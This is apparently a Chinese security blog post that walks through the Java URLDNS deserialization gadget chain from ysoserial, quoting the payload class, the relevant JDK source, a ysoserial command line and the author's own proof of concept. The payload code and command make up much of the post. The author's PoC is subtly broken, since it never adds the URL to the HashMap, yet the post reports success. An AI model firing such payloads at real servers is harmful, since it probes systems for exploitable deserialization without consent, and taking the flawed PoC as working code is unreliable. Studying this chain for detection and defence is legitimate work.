Java URLDNS
本文最后更新于2 天前,其中的信息可能已经过时,如有错误请发送邮件到2295927841@qq.com

简介

URLDNS是一条ysoserial里面一条简单的利用链子,其利用效果主要是用来探测漏洞(只能触发一次DNS请求),并不能去执行命令

  • 使用java的内置包,不需要其他包,比较通用
  • 不需要回显,扩大了利用范围

利用分析

首先给出在URLDNS的利用链子

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

在ysoserial中URLDNS的利用如下

public class URLDNS implements ObjectPayload<Object> {

      public Object getObject(final String url) throws Exception {

              //Avoid DNS resolution during payload creation
              //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
              URLStreamHandler handler = new SilentURLStreamHandler();

              HashMap ht = new HashMap(); // HashMap that will contain the URL
              URL u = new URL(null, url, handler); // URL to use as the Key
              ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

              Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

              return ht;
      }

      public static void main(final String[] args) throws Exception {
              PayloadRunner.run(URLDNS.class, args);
      }

      /**
        * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
        * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
        * using the serialized object.</p>
        *
        * <b>Potential false negative:</b>
        * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
        * second resolution.</p>
        */
      static class SilentURLStreamHandler extends URLStreamHandler {

              protected URLConnection openConnection(URL u) throws IOException {
                      return null;
              }

              protected synchronized InetAddress getHostAddress(URL u) {
                      return null;
              }
      }
}

首先在反向序列化中readObject会将序列化数据给反序列化出来,所以以这里为入口分析

可以看到序列化的对象是HashMap,为java自带的一个类 ,进入HashMap.class类

private void readObject(java.io.ObjectInputStream s)  
  throws IOException, ClassNotFoundException {  
  // Read in the threshold (ignored), loadfactor, and any hidden stuff  
  s.defaultReadObject();  
  reinitialize();  
  if (loadFactor <= 0 || Float.isNaN(loadFactor))  
      throw new InvalidObjectException("Illegal load factor: " +  
                                        loadFactor);  
  s.readInt();               // Read and ignore number of buckets  
  int mappings = s.readInt(); // Read number of mappings (size)  
  if (mappings < 0)  
      throw new InvalidObjectException("Illegal mappings count: " +  
                                        mappings);  
  else if (mappings > 0) { // (if zero, use defaults)  
      // Size the table using given load factor only if within       // range of 0.25...4.0       float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);  
      float fc = (float)mappings / lf + 1.0f;  
      int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?  
                  DEFAULT_INITIAL_CAPACITY :  
                  (fc >= MAXIMUM_CAPACITY) ?  
                  MAXIMUM_CAPACITY :  
                  tableSizeFor((int)fc));  
      float ft = (float)cap * lf;  
      threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?  
                    (int)ft : Integer.MAX_VALUE);  
      @SuppressWarnings({"rawtypes","unchecked"})  
          Node<K,V>[] tab = (Node<K,V>[])new Node[cap];  
      table = tab;  
 
      // Read the keys and values, and put the mappings in the HashMap  
      for (int i = 0; i < mappings; i++) {  
          @SuppressWarnings("unchecked")  
              K key = (K) s.readObject();  
          @SuppressWarnings("unchecked")  
              V value = (V) s.readObject();  
          putVal(hash(key), key, value, false, false);  
      }  
  }  
}

直接看关键点putVal(hash(key), key, value, false, false);这里调用了hash方法

  • hash方法用于计算给定键的哈希值。HashMap使用哈希值来确定键值对在内部数组中的位置。这个方法的目的是将键的哈希值分布得尽可能均匀,以减少冲突

在刚刚的ysoserial中可以看到这行注释


              Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

意思为在put操作期间,URL的hashcode被计算并缓存.这会重置 hashCode,以便下次调用 hashCode 时触发 DNS 查找

继续跟踪hash()这个函数

static final int hash(Object key) {
      int h;
      return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  }

解释一下,如果key为null,则返回0,如果不为null,则调用key.hashCode()方法计算哈希值,并将结果保存在变量h

看到 ysoserial的源码中的这句话,可知URLDNS 中使⽤的这个key是⼀个 java.net.URL 对象

URL u = new URL(null, url, handler); // URL to use as the Key

跟踪URL.java文件 搜索hashCode()方法

public synchronized int hashCode() {
      if (hashCode != -1)
          return hashCode;

      hashCode = handler.hashCode(this);
      return hashCode;
  }

跟踪handler发现是URLStreamHandler 对象(的某个⼦类对象)

transient URLStreamHandler handler;(transient 是一个 Java 关键字,用于修饰成员变量。被 transient 修饰的成员变量在对象序列化时不会被保存。)

跟进到URLStreamHandler.java中的haahCode()

protected int hashCode(URL u) {  
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

看到这里调用了 getHostAddress()方法,继续跟进

protected synchronized InetAddress getHostAddress(URL u) {  
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

可以看到这里的 InetAddress.getByName(host);是根据主机名获取对应的ip地址,相当于进行一次DNS查询,到这里达到这条链子的最终目的触发一次DNS查询

最后来梳理一下思路,在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求

那么要构造这个Gadget,只需要初始化一个java.net.URL对象,作为key放在java.util.HashMap中;然后设置这个URL对象的hashcode为初始值不为0,这样反序列化就会重新计算其hashCode,触发到后门的DNS请求,否则不会调⽤ URL->hashCode().

来试着构造自己构造一下poc

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class test {
public static void main(String[] args) throws Exception {
//创建一个hashmap实例
HashMap hashmap = new HashMap();
//你的dnslog地址
String url = "http://xxxx";
//初始化⼀个 java.net.URL 对象
URL u = new URL(url);
//根据之前分析的思路我们要让这里的hashcode初始值为-1,否则不会触发RLStreamHandler.hashCode()方法
//所以我们需要通过反射来修改hashcode的值
Field f=Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.setInt(u,-1);

ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser"));
oos.writeObject(hashmap);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser"));
ois.readObject();
}
}

链子利用

java -jar ysoserial-all.jar URLDNS "http://xxxx" > a.txt

对a.txt进行反序列化操作

package Reflect;  
import java.io.*;
public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream("a.txt的绝对路径"));
Object o1 = o.readObject();
System.out.println(o1);
}
}

成功请求 至此分析完毕

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇